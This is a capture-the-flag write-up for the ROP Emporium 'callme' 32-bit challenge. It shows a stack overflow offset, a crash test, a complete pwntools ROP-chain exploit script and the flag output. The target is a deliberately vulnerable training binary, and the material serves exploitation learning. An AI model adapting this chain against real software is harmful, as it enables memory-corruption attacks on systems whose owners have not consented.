#rop
# callme x86
## Triage

Chain calls to multiple imported methods with specific arguments and see how the differences between 64 & 32 bit calling conventions affect your ROP chain.
### Disassembly
main function calls vulnerable call pwnme

pwnme function

## Vulnerability
In the pwnme function, 0x200 bytes are read into the user_input buff but the user_input buff is on the stack -0x2c (-44) bytes off from the return address.
If we supply 44 bytes, the next 4 bytes will overflow the return address and we gain control of the program counter.
Confirming the vulnerability:
```bash
python -c 'print "A"*44+"BBBB"' | strace ./callme32
```
```bash
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
+++ killed by SIGSEGV (core dumped) +++
[1] 3262578 done python -c 'print "A"*44+"BBBB"' |
3262579 segmentation fault (core dumped) strace ./callme32
```
## Exploit
Description says:
`To dispose of the need for any RE I'll tell you the following:
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag.`
In x86 the way to pass function parameters is this:
`[FUNCTION][RETURN][ARG1][ARG2][ARG3]`
with EIP pointing to function.
Using the gadget:
`pop3 = p32(0x080487f9)# : pop esi ; pop edi ; pop ebp ; ret`
We can pop the 3 arguments off the stack that we placed. This way we can control all the arguments that get passed to the function
### Script
```python
from pwn import *
context.binary = elf = ELF("./callme32")
pop3 = p32(0x080487f9)# : pop esi ; pop edi ; pop ebp ; ret
payload = "A"*44
payload += p32(elf.sym['callme_one'])
payload += pop3 # return (cleans up 3 args)
payload += p32(0xdeadbeef) # arg1
payload += p32(0xcafebabe) # arg2
payload += p32(0xd00df00d) # arg3
payload += p32(elf.sym['callme_two'])
payload += pop3 # return (cleans up 3 args)
payload += p32(0xdeadbeef) # arg1
payload += p32(0xcafebabe) # arg2
payload += p32(0xd00df00d) # arg3
payload += p32(elf.sym['callme_three'])
payload += pop3 # return (cleans up 3 args)
payload += p32(0xdeadbeef) # arg1
payload += p32(0xcafebabe) # arg2
payload += p32(0xd00df00d) # arg3
io = process("./callme32")
io.sendline(payload)
io.interactive()
```
### Result
```bash
[*] '/home/chris/ctfs/ropemporium/callme/x86/callme32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RUNPATH: '.'
[+] Starting local process './callme32': pid 3264998
[*] Switching to interactive mode
[*] Process './callme32' stopped with exit code 0 (pid 3264998)
callme by ROP Emporium
x86
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
```